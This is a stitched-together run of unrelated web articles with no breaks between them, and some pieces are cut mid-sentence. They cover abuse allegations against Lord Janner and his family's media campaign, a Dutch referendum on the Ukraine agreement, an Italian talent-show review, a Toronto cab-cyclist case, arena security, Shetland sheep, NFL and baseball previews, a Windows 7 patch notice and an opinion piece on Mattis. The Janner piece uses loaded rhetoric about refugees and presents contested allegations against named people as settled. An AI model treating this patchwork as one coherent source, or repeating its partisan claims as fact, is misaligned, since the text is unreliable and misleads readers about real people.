Soon there were newspaper stories that the scope of the Goddard inquiry needed to be reined in. There were complaints about the cost, there were off-the-record briefings to the media that Goddard herself was “autocratic” or that she made too much money and took too much time off. There were rumours that she was clashing with government lawyers and civil servants over exactly how much independence she would have. At the beginning of August she became the third chairwoman to step down — or was fired, depending on which story you read.
Separately, but at the same time as this was happening, the Janner family was stepping up its own campaign to have the Janner proceedings halted.
Lord Janner had always been stoutly defended by his children; Daniel Janner QC, Marion Janner OBE and Rabbi Laura Janner-Klausner. They have promised to spend his entire £2 million estate in the fight to clear his name, if that is what it takes. They are lucky in that, unlike the victims of Rotherham, for example, the media are hanging on their every word.
On 26 July of this year The Times ran a long story headlined “Janner family snub unfair abuse inquiry” in which “sources close to the Janner family” revealed that they had twice refused to take part in Judge Goddard’s proceedings and branded them as unfair because the accused man was not there to answer for himself. Five days later, The Sunday Times decided there was still enough mileage to run pretty much the same story from the same angle. The result was another big article headlined “Janner’s son hits out at macabre child sex inquiry.” In this article Daniel Janner complained bitterly about being interviewed by the police. Perhaps unwisely, Daniel Janner agreed to do this excruciating interview with Channel 4.
Daniel Janner’s assertion of his father’s innocence seems not to have been dented by evidence that Greville Janner lied about his relationship with a convicted paedophile who was part of a paedophile circle.
The BBC have also been happy to place their resources at the disposal of the Janner family. In a fawning interview last month, the BBC generously devoted time to the emotional objections of Janner’s daughter Marion. A BBC platform was also found for the most prominent Janner daughter, Rabbi Laura Janner-Klausner. She is a British media personality and can often be found sounding off on BBC outlets on her many causes which include Holocaust remembrance, stamping out anti-Semitism, flooding Britain with refugees and so on. Just over a year ago, at the height of the Janner child abuse scandal, this memorable clip shows how the BBC gave her airtime to celebrate her father’s role in Holocaust remembrance.
It was curious that the BBC should celebrate Janner in this way, given the accusations that continue to swirl around him. The BBC have never seen fit to celebrate the charitable works of their own departed DJ Jimmy Savile in similar fashion. This is despite the fact that Savile also is the subject of sex abuse accusations not much different from those in the Janner case.
The Huffington Post also gave Rabbi Janner-Klausner a huge amount of space in which she seemed to place the blame for the campaign against her father on anti-Semitism.
“It has been dire,” she says, giving a hint of the toll the allegations have taken. “The Janner family has experienced the most putrid, toxic anti-Semitism. It is extreme stuff. It is beyond comprehension. Vile, vile fascist anti-Semitism. This is full on lunacy. And it reminds you that it is there.”
Today, long after the story broke, accusers are still coming forward to tell their stories. They include respectable businessmen and men with their own families. Even a male Jewish historian has given evidence to the police about how he was once propositioned by “respectable family man” Greville Janner when he was in his twenties.
The publication of lurid details of the evidence against Janner, a pillar of the Anglo-Jewish community, a former vice-president of the World Jewish Congress, the Jewish Leadership Council and many other communal organizations, must have been embarrassing for the Jewish community. But there is no danger of a rapid conclusion to this case. At a preliminary hearing it was announced that the beginning of proceedings will be delayed until 2017 — at least.
But if anyone thought the Greville Janner case was going away, the renewed attention on Keith Vaz will have changed that. In the days ahead there will be much interest in Mr Vaz’s history and habits and that is a road that goes back to Leicestershire in the 1980s.It is still unclear what a "No" vote in the referendum would mean for the Dutch government's stance | LOIC VENANCE/AFP/Getty Dutch voters overwhelmingly reject agreement with Ukraine: poll Commission President Juncker says it could spark ‘continental crisis.’
A majority of Dutch voters is opposed to the Netherlands' ratification of the European Union's association agreement with Ukraine, a new poll ahead of an April 6 referendum on the issue showed Saturday.
The poll, conducted by the Dutch public broadcaster's program EenVandaag, is the first barometer on the April 6 vote. It found that over 50 percent of voters "are certain" to reject the Ukraine agreement, while another quarter of respondents said they'll "likely" reject the deal.
Over half of respondents also said they will certainly cast a ballot, while another 17 percent said they'd "most likely" vote. The threshold for the referendum to be taken into account is a turnout of 30 percent.
A rejection of the agreement "could open the doors to a continental crisis" in Europe, Commission President Jean-Claude Juncker told the Dutch newspaper NRC Handelsblad in an interview published on Saturday. He added Russia "stood to benefit the most" from a "No."
"Let's not change the referendum into a vote about Europe," Juncker said. "I sincerely hope that [the Dutch] won't vote no for reasons that have nothing to do with the treaty itself."
In the Netherlands, political campaigns for the referendum have yet to begin.
The Dutch referendum was triggered by a petition organized by the website GeenStijl that reached over 450,000 signatures last September. All Dutch petitions with over 300,000 signatures force the government to put an issue to a vote.
“[Ukraine] is on the brink of full EU membership. We think that the people should be consulted about EU expansion,” Jan Roos, a journalist from GeenStijl, said at the time.
The final parts of the association agreement between the EU and Ukraine were signed in June, 2014 and was then called "a first step towards EU membership" by Ukraine's President Petro Poroshenko. It governs economic and political ties between the bloc and its eastern neighbor.
Ukraine is not formally an applicant to join the EU, although the bloc does recognize Ukraine could ask to become a member in the future.
The association agreement went into force provisionally on January 1, but it has to be ratified by all 28 EU members in order to become permanent.
It is unclear what a "No" vote in the referendum would mean for Dutch policy, as both the government and the country's other leading parties have said they plan to campaign in favor of the association agreement. The referendum result has to be considered by the government, but isn't binding on it.
This article was updated on January 10 to include a comment from European Commission President Jean-Claude Juncker.LUCA DONDONI
Roma - Andreas vince la sedicesima edizione del programma di Maria de Filippi in un’annata che ha portato per la prima volta i ballerini e i cantanti a un testa a testa. Qualità del ballo, altissima. Qualità del canto, per la verità così così.
Amici 2017 è arrivato alla battuta finale e ieri sera e in diretta su Canale 5 la vittoria se la sono giocata i cantanti Riccardo Marcuzzo e Federica Carta e i ballerini Andreas Muller e Sebastian Melo Taveira. Così com’è consuetudine, per il meccanismo della finale è stata inserita una novità rispetto al passato: all’ultimo duello sono arrivati un allievo per categoria mostrando però che sia danza che canto sono stati messi sullo stesso piano. Da quanto si è visto sino ad oggi Riccardo (cantante) ha contato su un seguito davvero notevole, una “fanbase” come dicono i millenials impressionante. Su YouTube il singolo che dà il titolo al disco “Perdo le parole” sfiora 3 milioni di views ed è nella Top20 della classifica è stato uno dei più acquistati su iTunes. Lo stesso inedito ha inoltre scalato le chart di altri tre Paesi: Svizzera, Lussemburgo e Malta.
“Sei mia”, la prima hit che ha anticipato l’Ep, invece, è arrivata a quota quattro milioni e trecentomila visualizzazioni. Sui social, il profilo Instagram @about_riki è a 576.000 follower. Di fronte a così tanta possanza anche la delicatezza di Federica, che si è fatta notare per la dolcezza con cui affronta le note e riesce ad entrare nel cuore delle persone possono poco sia dentro che fuori di qui. Per il ballerino Andreas la presenza all’edizione di quest’anno è già una vittoria: «Be’ io la considero una giusta rivincita - ha sempre detto dentro e fuori la casetta - dopo essere stato costretto, lo scorso anno, a non partecipare al talent show per un infortunio». Nel ballo però c’è gente che giura sul futuro di Sebastian che ha perso in semifinale. Per lui sì è parlato e anche a lungo di vittoria sia per un’innata bravura e sia perché nel corso delle settimane ha conquistato tutti e alcuni giurati si sono apertamente schierati a suo favore. Per fare un esempio l’etoile Eleonora Abbagnato ha paragonato Sebastian a «un giovanissimo Roberto Bolle». Qui però il televoto ha premiato Andreas dimostrando che a casa spesso le differenze fra tecnica ed estetica hanno un peso.
Ora, arrivati alla fine, lasciate dentro le spalle tutte le polemiche che in qualche modo segnano la grande crisi che attanaglia la televisione generalista di questi tempi. Di questa annata di spettacoli in tv ricorderemo le faide interne alla Rai, il desiderio di rinnovamento in seno al Biscione, la penuria di personaggi che rappresentino il ricambio generazionale, il pubblico che ha imparato a scegliere fra le tante offerte digit, sat e online.
Ecco, il pubblico. E’ al pubblico e proprio a coloro che hanno seguito “Amici” per tanti anni che abbiamo chiesto qual è la percezione che si ha di questo programma dopo tutti questi anni e più ancora come se ne sono vissute evoluzioni e cambiamenti: «Mi piacerebbe che l’anno prossimo “Amici” tornasse alle origini» dice un gruppetto di mamme che incontriamo appena fuori dagli studi Elios sulla Tiburtina. Dopo il trasloco dagli studi di Cinecittà, davanti a questo cancello sono passate legioni di ragazzi con un sogno e migliaia di papà e mamme che quel sogno volevano (dovevano) assecondarlo. Come sarà l’“Amici” del futuro e poi…sarà ancora “Amici” per come lo abbiamo conosciuto sino a oggi? Solo Maria De Filippi può rispondere a una domanda simile. La scuola di spettacolo più seguita d’Italia, la fucina di artisti tra i più amati e seguiti del pop made in Italy, i coach e le casette che hanno sfornato e preparato decine e decine di giovinetti di belle speranze saranno ancora le fondamenta di questo castello mediatico ma certamente dall’intonaco ai mobili sino ai tetti già dall’anno prossimo sarà tutto diverso.
LE PAGELLE DI AMICI 2017
MARIA DE FILIPPI 8
Ha governato una delle edizioni più difficili da tenere in piedi senza mai dare la sensazione di perdere il controllo. Diciamo che le scenate della Oxa, vissute l’anno scorso, rispetto ai su e giù di questa edizione sono state bruscolini in un occhio. Una stropicciata e via. Maria ha dovuto usare educazione e muscoli per tenere la barra dritta così da permettere alla barca di andare verso il porto sicuro dove poi è approdata.
I FINALISTI
RICCARDO 6
Le fan lo chiamano ill Justin Bieber italiano e secondo me tra questo ragazzo e Justin Bieber c’è una differenza abissale. La questione perciò è unicamente estetica. Se vogliamo andare dentro le questioni che hanno a che fare con la voce, come la si usa e come ci si muove quando si ha davanti un microfono be’ allora. Riccardo è acerbo quasi come un frutto che quando lo togli dalla pianta e lo metti in bocca è aspro al punto da farti fare delle smorfie. Alla maturazione serve ancora tanto ma tanto sole.
FEDERICA 6
Una gran voce e carina e gentile e intonata e nel ruolo q.b. Quanto Basta però in questo mondo non basta per niente e anche qui non vorremmo aver avuto di fronte un’altra delle tante brave cantanti passate di qui ma mai decollate.
SEBASTIAN 8
Bello è bello, bravo è bravo, ballare sa ballare ma c’è chi, al di là della chioma fluente e gli occhi che fanno sognare le teen agers, è più bravo di lui.
ANDREAS 8
TQuesto ragazzo che ha partecipato alle selezioni già un anno fa e con grande umiltà se l’è sentita di farlo anche quest’anno. Il fatto che arrivasse in finale era scritto e ci piace. Il più bravo ballerino della stagione che non farà fatica a trovare il suo posto dovunque vada a cercare una compagnia che lo accolga (e lo deve accogliere) a braccia aperte.
GIURIA
AMBRA ANGIOLINI 7
L’attrice vuol fare l’attrice e probabilmente messa nella condizione di dover fare la televisione si è resa conto, e anche prestissimo, che questo tipo di ruolo non fosse la sua tazza di tè. Commenti che andavano bene per tutte le stagioni in una stagione dove ogni commento poteva far piovere anche se c’era il sole. In ogni caso se l’è cavata bene.
ERMAL META 7
Anche Ermal che nella vita, come sappiamo, ha appena iniziato a raccogliere i frutti di una gavetta lunga, piena di ostacoli e soddisfazioni ha accettato di sedersi sullo scranno del giurato ma l’impressione è stata che lo facesse avendo messo in fila una serie di riflessioni: «ho un treno da prendere ….devo andare….devo fare Sanremo….devo partire con un tour….ho la promozione del disco….». Ecco, quella roba lì. In ogni caso non ha mai detto cose che non fossero assennate e si sa che se ad Amici sbagli una virgola e sei finito.
DANIELE LOTTI 5
Non mi sono accorto della sua presenza. Non me ne voglia.
ELEONORA ABBAGNATO 6
Quanto è brava la Abbagnato. Quanto è delicata la Abbagnato. Quanto è eterea la Abbagnato.Già, la Abbagnato. Una ballerina classica in tv o è la Raffaele quando imita la Fracci o sembra sempre sull’orlo dell’imitazione della Kenzia.
Trad. ne: Kenzia: pianta da appartamento. Dove la metti sta e cresce pure bene. Serve poca acqua.
INSEGNANTI
RUDY ZERBI 7
La miccia che ha fatto deflagrare Morgan
ALESSANDRA CELENTANO 7
Le mancava solo di parlare del collo del piede di una concorrente/ballerina e sarebbe tornata la Celentano che ho sempre amato. Ma c’è mancato poco.
VERONICA PEPARINI 7
Lei e il fratello fanno così bene il proprio lavoro che basterebbe quello….ma poi c’è anche un po’ la voglia di apparire e perché no, si fa anche quello.
BOOSTA 7
Totalmente fuori contesto per storia, per vissuto, per presente e per futuro eppure ce l’ha fatta a non sembrare tutto questo.
DIRETTORE ARTISTICO SQUADRA BLU - ELISA 9
DIRETTORE ARTISTICO SQUADRA BIANCA - EMMA MARRONE 9
(per entrambe lo stesso giudizio)
Questo voto sta a premiare due cantanti con una carriera, dei super tour con migliaia di persone, dischi da scrivere, produrre e portare in giro per l’Italia, una vita privata importante. Artiste che decidono di votarsi a una causa che per mesi le porta (quasi) via da tutto questo. Ci vuole coraggio, un gran fisico e un gran mestiere.
MORGAN N.N.
L’attore che per un anno (tutto lo scorso anno) ha recitato la parte dell’artista pacato, bravo, tranquillo, mai polemico, amico fraterno dei suoi compagni e fratello più grande dei suoi allievi quest’anno non è entrato nella parte. Come se (e a lui i cortocircuiti vengono benissimo) il cortocircuito che governa i comportamenti dell’uomo quando recita e di conseguenza anche la sua vita, a un certo punto obbligassero l’uomo a togliersi la maschera da attore e a tornare se stesso. Il problema è che quando Morgan fa Morgan è un bel problema per tutti. Soprattutto per lui. «Quando non ci stai più dentro non ci stai più dentro», dice Marco Castoldi in arte Morgan «e quando succede esplodi». L’esplosione è stata però tanto deflagrante da portare le ossa di Morgan l’uomo e l’attore a ballare sul palco di un programma della RAI, a declamare ciò che avrebbe voluto fare negli studi di Mediaset/Amici, a dimostrare che il suo livello culturale (che nessuno ha mai messo in dubbio) fosse superiore alla media. Sì, Morgan….ma qual è la tua media?
PANARIELLO 7
Basta che non gli si faccia presentare il Festival di Sanremo e Panariello va sempre bene.
GEPPI CUCCIARI 8
Difficile che Geppi sbagli. E anche qui non ha sbagliato.
LA NONNA DI ANDREAS 10
La vincitrice morale dell’edizione 2017 di Amici di Maria De Filippi
© Riproduzione riservataLast week Toronto police laid charges against a cab driver after a video of a taxi ramming a bicycle courier went viral on YouTube.
Today, police announced that the cyclist has also been charged.
According to a statement released by police on Sunday evening, "it is alleged that the cyclist reached into the cab and assaulted the driver."
The 31-year-old Brampton, Ont., man faces one assault charge and is scheduled to appear in court on Oct. 17.
The driver has a scheduled court date of Oct. 4, where he will face one count of dangerous operation of a motor vehicle and one count of assault with a weapon — namely, his vehicle.
On Aug. 18, a cab driver ran a cyclist off the road; he has already been charged. On Sunday, police announced the cyclist has been charged as well. (RomanAtwoodVlogs/YouTube)
When the charges against the taxi driver were laid, police alleged the driver and the cyclist had already had what Toronto police Const. Clint Stibbe called "a physical altercation" on Bay Street.
Stibbe said he couldn't elaborate on what kind of scuffle it was. The video clip clearly shows the cyclist tapping on the cab's window as it inched closer to him. After that, the driver veered directly into the bicycle sending both man and bike sprawling on to the sidewalk.
The incident took place at about 5:48 p.m. on Aug. 18, on Bay Street north of Saint Mary Street.Hockey fans and concertgoers taking in activities at the Scotiabank Saddledome should expect a longer wait to get to their seats as the organization rolls out new security measures — including walk-through metal detectors — within the next several weeks.
The changes are part of “enhanced guest security and safety measures” planned for the 2013-14 season, said Libby Raines, Calgary Flames vice-president of building operations.
She said the changes are “in keeping with what’s happening throughout North America, and with the protocols of the NHL and most of the other major sports leagues.”
No specific security threat or breach prompted the changes, said Raines.
The Flames intended to get started on the project last summer, but had to delay plans to deal with the massive spring flooding, she said.
Fans entering the building may be searched, with the list of prohibited items including backpacks, booze and all weapon-like devices.
But the biggest change is set to roll out within the next month, when metal detectors are installed at all main entry points at the Saddledome.
Raines said the organization considered whether to start using security wands, but discarded the idea in favour of metal detectors.
“It’s very difficult to try to do the wanding on 100 per cent of the people. The wanding becomes more of a random thing, and there’s issues that go along with that,” she said.
“We just decided we were prepared to make the investment in the walk-throughs and thought at the end of the day that was going to be the best way to go.
The measures will be in place for all events taking place at the Saddledome, she said.
Fans attending Thursday’s Flames versus LA Kings matchup were given information handouts about the security changes.
Flames fan Brett Lawrence said the new measures were the unfortunate reality of attending professional sports today.
“Sad as it is, it’s becoming commonplace in sports. You look at the NFL stadiums, they have to have clear bags and only a certain size. It’s kind of inevitable.”
Lawrence attended Flames, Hitmen and Roughnecks games at the Saddledome about once a month.
Bag checks and metal detectors were unlikely to be much of a hassle, he said.
“Most of (the prohibited items) is stuff you’re not bringing to a game anyway so I’m not too worried about it. As long as it doesn’t slow you down too much to get in. It is what it is.”
Sarah Morgan didn’t make a habit of bringing a bag when she attended Flames’ games.
“I guess it‘s the same as going through an airport,” she said of the metal detectors.
“At least you know that no-one’s bringing any crap in to the stadium. To me, it’s fine. I have nothing to hide.”
Leo Knight, a former police officer and security expert, said the enhanced security measures should come as no surprise, with many major organizations revising their plans following the 2013 Boston Marathon bombings.
“It’s a sign of the times, really,” he said.
“The general theory in security is just because we haven’t had a problem doesn’t mean we won’t.Shetland A Shetland ram lamb with the common "Moorit" brown colour Country of origin Scotland (Shetland) Type Northern European short-tailed Use Wool, meat, conservation grazing Traits Weight Male: 41–57 kg
Female: 34–45 kg Wool color Variable Face color Variable Horn status Males horned, ewes occasionally horned[ citation needed ] Sheep
Ovis aries
The Shetland is a small, wool-producing breed of sheep originating in the Shetland Isles, Scotland but is now also kept in many other parts of the world. It is part of the Northern European short-tailed sheep group, and it is closely related to the extinct Scottish Dunface. Shetlands are classified as a landrace or "unimproved" breed.[1] This breed is kept for its very fine wool, for meat, and for conservation grazing.[2]
Although Shetlands are small and slow-growing compared to commercial breeds, they are hardy, thrifty, easy lambers, adaptable and long-lived. The Shetland breed has survived for centuries in difficult conditions and on a poor diet, but they thrive in better conditions. Shetlands retain many of their primitive survival instincts, so they are easier to care for than many modern breeds.
History [ edit ]
Up to the Iron Age, the sheep of the British Isles and other parts of northern and western Europe were small, short-tailed, horned only in the male and variable in colour. Short-tailed sheep were gradually displaced by long-tailed types, leaving short-tailed sheep restricted to the less accessible areas.[3] These included the Scottish Dunface, which until the late eighteenth century was the main sheep type throughout the Highlands and Islands of Scotland, including Orkney and Shetland.[4] The Dunface died out on the mainland, Scotland, in the late nineteenth century,[5] leaving its descendants limited to a few islands, including the Shetlands. The Shetland type of the Dunface has been regarded as distinct since the early nineteenth century or before.[4]
Breed conservation [ edit ]
Shetland ewe grazing on heathland: this "badger-faced" pattern is called katmoget.
By the early twentieth century, the Shetland was perceived as threatened by cross-breeding, leading to a decline in wool quality. To combat this, the Shetland Flock Book Society was formed in 1927, and this remains the body responsible for the protection of the breed in the Shetlands.[6]
By the time the Rare Breeds Survival Trust was set up in the 1970s, the Shetland had become rare, and it was listed by them as Category 2 (Endangered). Since then, the breed has become popular with smallholders, and it is now classified as Category 6 (Other native breeds), with a UK population of over 3000.[7] On the mainland the breed is governed by the Shetland Sheep Society.[7]
Export and history outside the Shetland isles [ edit ]
A Shetland ram was kept by United States President Thomas Jefferson for several years in the early nineteenth century. Unlike modern Shetlands (but like some related breeds) this ram had four horns. He was kept with about 40 other sheep on President's Square in front of the White House. In the spring of 1808, it attacked several people who had taken shortcuts across the square, injuring some and actually killing a small boy.[8] Having been moved to Jefferson's private estate at Monticello, the ram was eventually killed after having killed several other rams: it was described by Jefferson as "this abominable animal".[8] Such aggressive Shetland rams, however, are unusual.[9]
In North America, the original Jefferson flock of Shetlands did not persist.[10] Other importations were made at the beginning of the twentieth century most notably to Mrs. W.W. Burch of Coopersville, MI (wife of the Editor of the American Sheep Breeder at the time), and Mr. L.V. Harkness of the Walnut Hall (the same of Standardbred Horse fame). There is record of these flocks surviving until 1916, and also record of another flock in Illinois in 1917. By 1921, it was recorded that Shetlands could not be bought in the US (The Sheep Breeder, 1921). It was not until the mid-twentieth century that Shetlands were imported into Canada, and then from Canada into the United States in the 1980s.[11] Since then, a North American Shetland Sheep Registry has been established, and there are now thousands of the breed in the region.[10]
Modern farming [ edit ]
Today, Shetland sheep are mainly kept in the Shetland isles and a handful of other places. This is because of their ability to survive on infertile land that would otherwise be agriculturally useless.[8] Their good-natured temperament is also a major attraction in keeping Shetland sheep.[9] They are most commonly farmed for their prized wool, but they also may be kept for their meat.[12]
Breed characteristics [ edit ]
Shetlands appear in a wide variety of colours, many of which are called by their traditional names by breeders.
The Shetland is one of the smallest British breeds. The ewes are usually polled (hornless) and the rams usually horned, although horned ewes and polled rams do occur occasionally. The breed is noted for its very fine, soft wool and the high quality of its meat, though its smaller size limits its use in commercial meat markets.[12] They are small-bodied animals, with some wool on their faces, noses or legs, but not in excess. The legs are of medium length and finely boned. They have small, erect ears. A distinguishing feature of northern short-tailed sheep is the short, fluke-shaped tail, broad at the base, tapering to a point, and covered towards the tip in hair, not wool.[13]
Shetlands occur in many different colours and patterns, most of which have particular traditional names.[14] The rams weigh approximately 90 to 125 lb (41 to 57 kg) and ewes about 75 to 100 lb (34 to 45 kg).[15]
Wool [ edit ]
The wool produced by the Shetland has historically been a valuable commodity. Shetlands produce numerous shades of wool colours (see below), and this variety was commercially important to the wool industry of the Shetland Isles, where natural wools are often used undyed. Tweed is also produced from the coarser Shetland wool, but the Isles are best known for their multi-coloured knitwear (made using Fair Isle knitting) and for the traditional knitted lace shawls which are so fine, they will pass through a wedding ring. Fleeces usually weigh between 2 and 4 lb (0.9 and 1.8 kg).[15]
In November 2011, Shetland wool produced in the Shetlands gained protected geographical status with a protected designation of origin (PDO) classification as "Native Shetland Wool". It was the first non-food product in the UK to receive this status.[16]
Colours and patterns [ edit ]
Shetland sheep can show almost all possible sheep colours and patterns (some of which |
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Coloring Squared: Pixel Art and Math for KidsIs there such a thing as a "sleeper team" in the NFL anymore?
Think about it.
Offseason is a misnomer in 2016. You have the free agency frenzy, schedule-release day -- or, as I call it, Christmas in April -- and the three-day festival of team building that is the NFL draft.
The NFL is a prime topic 24/7/365. Sleeper team? You'd have to be in hibernation to not realize the Oakland Raiders are ready for prime time after further supplementing a great young core with numerous offseason upgrades. Everyone and their mother is on board the Jacksonville Jaguars' bandwagon. (For the record, my mom says 9-7 for Gus Bradley's bunch.)
But there is one alluring team that actually isn't receiving the attention it deserves.
The Tampa Bay Buccaneers are your official NFL sleeper team for 2016.
Tampa is going to be right in the mix all season long. I see these young Bucs winning nine games (great minds think alike, mom!) and seriously competing for a playoff spot. I think they are the second-best team in the NFC South (behind the reigning NFC champion Panthers). And in five years, Bucs fans will look back on the 2016 season as the building-block campaign that catapulted them toward sustained success.
Yes, brilliant general manager Jason Licht nailed the 2016 NFL Draft. And yes, I'm talking about a draft where he traded up to take a kicker in Round 2.
I loved the move.
Don't knock it because Roberto Aguayo's "just a kicker." With the extra-point change made permanent this offseason, and with the competitive balance and parity in the league nowadays, the kicking game is more important than ever. And Aguayo is one of the best kicking prospects we've seen. This is a big deal. If Bill Belichick made this pick, the media elite would call it a genius move. I'm calling it clever usage of the No. 59 overall selection.
And it's the process in Tampa that impresses me most.
Licht was a guest last week on my SiriusXM Radio show, "Schein on Sports," and any Bucs fan who listened to our conversation had to come away with a ton of confidence in the general manager's general savvy. Licht explained, with dazzling clarity, how the team decided to trade down from No. 9 to No. 11. He had gathered strong intel that the Giants wouldn't pick Tampa's target, cornerback Vernon Hargreaves. This info was indeed accurate, and Licht got his man.
"First of all, [Hargreaves] jumped off the screen for myself and all of our scouts and our coaches, in terms of being just a great athlete," Licht told me. "He is a ballhawk. He is tough, he is sturdy, and he is great in the run game, as well. It's not like he's an undersized guy who can just cover [but] gets beat up down the field versus size. This guy has an ego -- which I keep mentioning over and over, and I mean that in a good way. He's not afraid. He is very competitive. He feels he can match up with just about anybody in the league."
Thus, the Bucs moved down on Thursday night and, in the process, picked up an extra fourth-rounder -- which they would flip on Friday in the trade that landed Aguayo. And that wasn't even the first astute thing Tampa did on Day 2. Licht stole Noah Spence with the 39th overall pick. The GM thinks he plucked the most natural pass rusher in the entire draft -- a notion I don't disagree with. Spence only fell to Round 2 because of off-field issues from his past. Licht and his staff vetted Spence and were comfortable with what they learned. Licht told me how -- when he was in Arizona for the Cardinals' Day 2 selection of Tyrann Mathieu -- he learned to dive deep, then trust your scouts, instincts and coaches. That worked out incredibly well for the Cards with the Honey Badger.
So, all in all, in the first two rounds of the draft, the Bucs scooped up three players who will help them win games in 2016: Hargreaves is going to cover like a blanket, Spence is going to sack the quarterback, the kicker is going to make kicks. And this just adds to the enviable young core of talent in Tampa.
Jameis Winston enjoyed a highly encouraging rookie season, finishing second in Offensive Rookie of the Year voting. He wowed everyone with his work ethic and racked up 28 total touchdowns (22 passing, six rushing). Although his interception number was a little high at 15, he's poised to even things out this fall and really explode. His chemistry with fellow 22-year-old Mike Evans continues to grow. Doug Martin is back under contract, ready to provide balance from the backfield. There's room for improvement on the other side of the ball (see: the No. 26 ranking in scoring defense), but the Bucs do boast a pair of studs in DT Gerald McCoy and LB Lavonte David. Plus, athletic linebacker Kwon Alexander showed plenty of promise before his rookie campaign was cut short by suspension. This cupboard is far from bare -- new defensive coordinator Mike Smith has some enticing pieces to work with.
Speaking of coaches, I'm a firm believer that Lovie Smith held this team back. He was brought in to take Tampa to the playoffs. Instead, he went 2-14 in Year 1 and 6-10 in Year 2. Lovie was a bad in-game coach. The Bucs will be better after the promotion of former coordinator Dirk Koetter, who developed a great rapport with Winston while running the offense last season.
When I asked Licht how he would define success this year, he mentioned winning close games and winning down the stretch.
That latter point is crucial. Tampa Bay was in the thick of the playoff race in early December... before closing out last season with four straight losses.
I don't see that happening in 2016. I see a team that's ready to ascend, an emerging threat that's hiding in plain sight.
Open your eyes. It's time to stop sleeping on the Bucs.
Follow Adam Schein on Twitter @AdamSchein.In 2010, the Twins rolled to their second straight division title. They racked up 94 wins behind another huge Joe Mauer performance, a career year for Francisco Liriano, and a stacked, dominant bullpen. In 2011, the Twins lost more times than they had in any season in 29 years. Mauer missed half the season, Liriano missed home plate all season, and the bullpen got infected with a terminal case of the sucks. Mauer’s health remains the franchise’s biggest concern (by a mile) with seven years and $161 million left on his contract; Justin Morneau might never be the same after a prolonged bout with concussions and its side effects; and the rest of the roster is staffed with mostly mediocre talent. After six division titles in nine years, the Twins’ mini-dynasty ended last year. It might be a while before a winning team returns to the Twin Cities
LINEUP (Bill James projections: AVG/OBP/SLG, wOBA)
CF Denard Span (.288/.361/.379,.330)
SS Jamey Carroll (.274/.353/.332,.307)
C Joe Mauer (.326/.412/.466,.378)
1B Justin Morneau (.288/.369/.494,.371)
RF Josh Willingham (.248/.352/.460,.348)
DH Ryan Doumit (.275/.335/.443,.337)
3B Danny Valencia (.278/.328/.420,.328)
2B Alexi Casilla (.264/.331/.347,.305)
LF Ben Revere (.280/.325/.326,.298)
unless Bill James’ wildly optimistic projections come true, that is. Shoulder, wrist, and knee injuries combined with Morneau’s post-concussion syndrome to wreck his season, costing him 93 games and resulting in an anemic.274 wOBA; James still forecasts lots more missed time, but also a strong performance rebound. Meanwhile, Mauer’s projected for a full bounce back to elite status. The additions of Willingham, Doumit, and Carroll could provide ample on-base ability, more than making up for Jason Kubel’s lost bat. But the Twins’ lineup is stuffed with more injury risks than any other team — not just Mauer and Morneau, but also Span (played just 70 games last year), Doumit (77), and Willingham (average of just 121 games played over the past four seasons). The major goals for this season should be to let Revere develop into the team’s eventual everyday center fielder, and for the Twins to decide whether Mauer’s legs can hold up behind the plate or if he needs to shift to another position.
ROTATION (Bill James projections: IP, FIP)
Carl Pavano (226, 4.14)
Francisco Liriano (180, 3.85)
Scott Baker (140, 4.00)
Nick Blackburn (162, 4.76)
Jason Marquis (118, 4.45)
Let’s start with the bad news: Blackburn and Marquis are fillers, and they’re going to get rocked. The Twins have no high-upside starters in the high minors to take their place, too. But the rest of the rotation could be quite solid. Pavano’s fastball can’t dent a piece of bread at this point, but he’s averaged 214 innings a year over the past three seasons and posted the sixth-lowest walk rate among qualified starters in 2011. Liriano’s just a year removed from a 6-WAR campaign. Baker made just 21 starts last year, but was outstanding when healthy, posting a near-4-to-1 strikeout-to-walk rate. If Liriano can reharness his command and Baker can stay on the mound, the Twins’ top three should keep them in a bunch of games.
BREAKOUT PICK
Revere, by default. The Twins have enough holes to justify an aggressive rebuilding plan, but lack the young talent on the major league roster or near the big leagues to put such a plan into action. But Revere’s arrived, and he brings elite speed, defense, and contact ability to a team that could use all of those qualities. Even if he doesn’t supplant Span as the team’s center fielder and leadoff hitter right away, he’s got the skills to develop into an above-average everyday player.
IF EVERYTHING BREAKS RIGHT
Mauer’s legs get well, Morneau’s concussion-free and productive, and Liriano rediscovers an effective fastball to go with his wipeout slider. Even if all that comes to pass, there’s not enough here to catch the Tigers, maybe not even the Indians and Royals. But if the Twins do nothing more than get their three star players back, that would be a gigantic win.
IF EVERYTHING GOES WRONG
None of the above happen, and Twins fans have little left to root for but a teenager who’s yet to play a game above rookie ball.Check out what's new in the latest update and download KB4034664 and KB4034679 for Windows 7.
Microsoft has released Monthly Rollup update KB4034664 for Windows 7 devices. The company also released KB4034679 (Security-only update) for the OS. Microsoft security team has fixed multiple vulnerabilities in the operating system with latest August 2017 Patch Tuesday release. In addition, you can download KB4034664 offline installer from links given below.
No new operating system feature is released with this update. The update comes with bug fixes and under the hood improvements to the OS. Check out full changelog below.
What’s fixed in Windows 7 Update KB4034664
Security updates to Microsoft JET Database Engine, Common Log File System Driver, Microsoft Windows Search Component, Volume Manager Driver, Internet Explorer, Windows Server, and Windows kernel-mode drivers.
However, the new update comes with some known issues. According to the patch note, due to a defect in WLDAP32.DLL, applications that perform LDAP referral chasing can consume excessively or all of the available TCP dynamic ports after installing the previous update KB4025337 and KB4025341. Applications and roles known to make these referrals may include Outlook.exe, DFSR, and others.
If restarting applications that perform LDAP referral chasing returns normal functionality on machines that installed the previous update, you may be experiencing this issue.
To fix this issues, restart services or applications that perform LDAP referral chasing to free TCP dynamic ports. A reboot will also free ports.
Finally, to work around the problem for cluster computers hosting the DFSR service, place the virtual cluster object under the Computers container to avoid reaching the referral chasing search, which leads to the dynamic port leak.
The software giant is working on a resolution and will provide an update in an upcoming release.
Select your Windows version and download update files from the link below.
Download KB4034664 Windows 7 Offline Installer
Download KB4034679 Windows 7 Offline Installer
Download KB4034664 Windows Server 2008 R2 Offline InstallerIt is a measure of just how depressing every day of the presidential transition has been that Sen. John McCain and former general James Mattis can cheer you up. Or at the very least they can give reason for you to hope that not everyone in the Trump administration’s national security team will be a wild-eyed, burn-it-all-down lunatic.
Admittedly this is a slender reed on which to hang the hope that our civilization can survive four years with Donald Trump at the helm. But if Mattis’ testimony at his confirmation hearing to become secretary of defense told us anything, it is that he might have at least one foot planted in reality. Which, considering that Trump is filling out his national security team with crazed conspiracy theorists like Mike Flynn and Mike Pompeo, is no small thing.
